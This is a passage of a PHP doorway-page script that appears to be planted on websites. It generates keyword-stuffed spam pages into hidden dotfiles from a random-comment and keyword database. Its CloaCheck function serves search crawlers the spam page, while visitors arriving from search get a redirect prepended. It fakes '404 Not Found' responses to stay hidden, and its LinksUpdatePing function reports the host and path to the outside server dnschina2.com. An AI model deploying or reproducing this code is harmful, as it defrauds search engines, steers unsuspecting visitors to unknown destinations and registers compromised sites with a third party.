$keywords_flag LIMIT $limit;"; $result = mysql_query($query) ; if(!$result) die("Query Failed."); while($row = mysql_fetch_row($result)) { $keyword = trim($row[0]); $keywords_array [] = "$keyword"; } if(count($keywords_array [$array_counter]) < 1) $keywords_array [] = "$get"; $final_keywords_array [$array_counter] = $keywords_array; $array_counter++; $keywords_array=array(); } return $final_keywords_array; } function GetComments ($limit=10, $simi_keys_count) { $keywords_needed= $limit*$simi_keys_count; $keywords_in_db =3363095; $mysql_db = "video"; mysql_select_db($mysql_db) or die('Could not select database'); $array_counter = 0; for ($i=0; $i<$simi_keys_count; $i++) { $keywords_flag = mt_rand(0,($keywords_in_db-$keywords_needed)); $query = "SELECT author,comment FROM comments WHERE id > $keywords_flag LIMIT $limit;"; $result = mysql_query($query) ; if(!$result) die("Query Failed."); while($row = mysql_fetch_row($result)) { $author = trim($row[0]); $keyword = trim($row[1]); $date = trim($row[2]); $keywords_array [] = "By:$author$date
$keyword"; } if(count($keywords_array [$array_counter]) < 1) $keywords_array [] = "$get"; $final_keywords_array [$array_counter] = $keywords_array; $array_counter++; $keywords_array=array(); } return $final_keywords_array; } function GetLinksArray($keywords_array,$depth=5) { $counter=0; $count_keywords_array = count($keywords_array); $http_host = $_SERVER["SERVER_NAME"]; $http_path = $_SERVER["SCRIPT_NAME"]; for ($i=0; $i < $count_keywords_array; $i++) { for ($j=0; $j < $depth; $j++) { $key = trim($keywords_array[$i][$j]); if ($key) { $links_array [] = "$key"; $links_file .="$key\n"; } } $counter++; } MakeCache (".li_ca",$links_file); return $links_array; } function MakeCache ($cachefile,$html_page){ $fp = fopen($cachefile, 'w'); fwrite($fp, $html_page); fclose($fp); } function GetCache ($cachefile){ $cachefile = ".$cachefile"."_ca"; if(file_exists($cachefile)) { $html_page = file_get_contents($cachefile); } else $html_page=0; return $html_page; } function MakeHtmlPage ($simi_keywords_array,$tds_keywords_array,$coments_array,$links_array,$links_perpage_count){ $t_count=4; $title_counter=0; $tds_keywords_array_count = count($tds_keywords_array)-1; $simi_keywords_array_count = count($simi_keywords_array)-1; $html_template = file_get_contents(".html_tpl"); $http_host = $_SERVER["SERVER_NAME"]; $home_link = "$http_host"; foreach ($simi_keywords_array as $simi_key) { if (($title_counter < $t_count) && $title_counter!=0) { $sep = "|"; if ($title_counter == $t_count-1) $sep =""; $title .= ucfirst("$simi_key $sep "); $descr .= "$simi_key "; } $title_counter++; $content .="$simi_key, "; } foreach ($tds_keywords_array as $tds_key) { $tds_content .="$tds_key, "; } foreach ($coments_array as $coment) { $coments .="$coment

"; } $links_array_count = (count($links_array)-1); for ($i=0; $i < $links_perpage_count; $i++) { $rnd = mt_rand(0,$links_array_count); $links .="$links_array[$rnd] "; } $html_page = str_replace("[CONTENT]",$content,$html_template); $html_page = str_replace("[TITLE]",$title,$html_page); $html_page = str_replace("[TDSKEYS]",$tds_content,$html_page); $html_page = str_replace("[COMMENTS]",$coments,$html_page); $html_page = str_replace("[LINKS]",$links,$html_page); $html_page = str_replace("[MDESC]",$descr,$html_page); $html_page = str_replace("[HOMELINK]",$home_link,$html_page); $html_page = str_replace("[RNDKEY_1]",ucfirst($simi_keywords_array[mt_rand(0,$simi_keywords_array_count)]),$html_page); $html_page = str_replace("[RNDKEY_2]",ucfirst($simi_keywords_array[mt_rand(0,$simi_keywords_array_count)]),$html_page); $html_page = str_replace("[RNDKEY_3]",ucfirst($simi_keywords_array[mt_rand(0,$simi_keywords_array_count)]),$html_page); $html_page = str_replace("[RNDKEY_4]",ucfirst($tds_keywords_array[mt_rand(0,$tds_keywords_array_count)]),$html_page); $html_page = str_replace("[RNDKEY_5]",ucfirst($tds_keywords_array[mt_rand(0,$tds_keywords_array_count)]),$html_page); $html_page = str_replace("[TDSRNDKEY_1]",ucfirst($tds_keywords_array[mt_rand(0,$tds_keywords_array_count)]),$html_page); $html_page = str_replace("[TDSRNDKEY_2]",ucfirst($tds_keywords_array[mt_rand(0,$tds_keywords_array_count)]),$html_page); $html_page = str_replace("[TDSRNDKEY_3]",ucfirst($tds_keywords_array[mt_rand(0,$tds_keywords_array_count)]),$html_page); return $html_page; } function Get404 (){ $script_name = $_SERVER['REQUEST_URI']; header("HTTP/1.0 404 Not Found"); echo " 404 Not Found

Not Found

The requested URL $script_name was not found on this server.

"; } function GetRandomRedirect () { $source_redirect = ''; $random_redirect = str_replace("replace_var1",make_password(8),$source_redirect); $random_redirect = str_replace("replace_var2",make_password(8),$random_redirect); $random_redirect = str_replace("replace_var3",make_password(8),$random_redirect); $random_redirect = str_replace("replace_var4",make_password(8),$random_redirect); return $random_redirect; } function LinksUpdatePing () { $http_host = $_SERVER["SERVER_NAME"]; $http_path = $_SERVER["SCRIPT_NAME"]; $url="http://dnschina2.com/li_update?host=$http_host&path=$http_path"; $ch = curl_init(); if ($ch){ curl_setopt ($ch, CURLOPT_URL, $url); curl_setopt ($ch, CURLOPT_USERAGENT, "locked"); curl_setopt ($ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt ($ch, CURLOPT_TIMEOUT, 10); $returned_code=curl_exec ($ch); curl_close ($ch); } else { $opts = array( 'http'=>array( 'method'=>"GET", 'header'=>"User-Agent: locked\r\n" ) ); $returned_code = ""; $context = stream_context_create($opts); $fp = fopen($url, 'r', false, $context); if ($fp) { while (!feof($fp)) { $buffer = fread($fp, 1024); $returned_code .= $buffer; } fclose($fp); } } } function make_password($len = 6){ $r = ''; for($i=0; $i<$len; $i++) $r .= chr(rand(0, 25) + ord('a')); return $r; } function CloaCheck () { $search = 1; $referer = strtolower($_SERVER['HTTP_REFERER']); $agent = "sax".strtolower($_SERVER['HTTP_USER_AGENT']); if(strpos($agent, "google") != ""){ $search = "0"; } if(strpos($referer, "site:") != ""){ $search = "0"; } if(!$referer){ $search = "0"; } if(strpos($agent, "slurp") != ""){ $search = "0"; } if(strpos($agent, "lycos") != ""){ $search = "0"; } if(strpos($agent, "teoma") != ""){ $search = "0"; } if(strpos($agent, "yahoo") != ""){ $search = "0"; } return $search; } $get_id = $_GET["id"]; $keywords = explode("\n",$_POST["w"]); $tds_keys_count = $_POST["t"]; $simi_keys_max = $_POST["s"]; $comment_count = $_POST["c"]; $links_perpage_count = $_POST["l"]; if (!file_exists(".dlock") && $get_id=="inst") { echo '


simi: tds comments links
'; } if ($simi_keys_max && !file_exists(".dlock")) { ob_start(); $mysql_link = mysql_connect($mysql_host, $mysql_user, $mysql_pass) or die('Could not connect: ' . mysql_error()); $get = $keywords; $simi_keys_count = count($get); $simi_keywords_array = (GetKeywords($simi_keys_max,$get)); $tds_keywords_array = (GetTDSKeywords($tds_keys_count,$simi_keys_count)); $coments_array = (GetComments($comment_count,$simi_keys_count)); $links_array = GetLinksArray($simi_keywords_array,5); for ($i=0;$i<$simi_keys_count; $i++) { $html_page = MakeHtmlPage($simi_keywords_array[$i],$tds_keywords_array[$i],$coments_array[$i],$links_array,$links_perpage_count); MakeCache (".$i"."_ca",$html_page); echo "[$i]" . $simi_keywords_array[$i][0]."
"; ob_flush(); } MakeCache (".dlock",""); LinksUpdatePing (); exit; } if (!$get_id && file_exists(".dlock") && !$tds_keys_count) { Get404 (); exit; } if ($get_id>=0 && $get_id!="inst") { if ($get_id == 129032) { $get_id = "li"; $cache_res = GetCache($get_id); echo $cache_res; exit; } $cloa_flag = CloaCheck(); $cache_res = GetCache($get_id); if ($cache_res) { if ($cloa_flag==1) { echo GetRandomRedirect ().$cache_res; exit; } else { echo $cache_res; exit; } } else { Get404 (); exit; } } // print_r($simi_keywords_array[0]); // print_r($tds_keywords_array[0]); // print_r($coments_array[0]); // print_r($links_array); ?>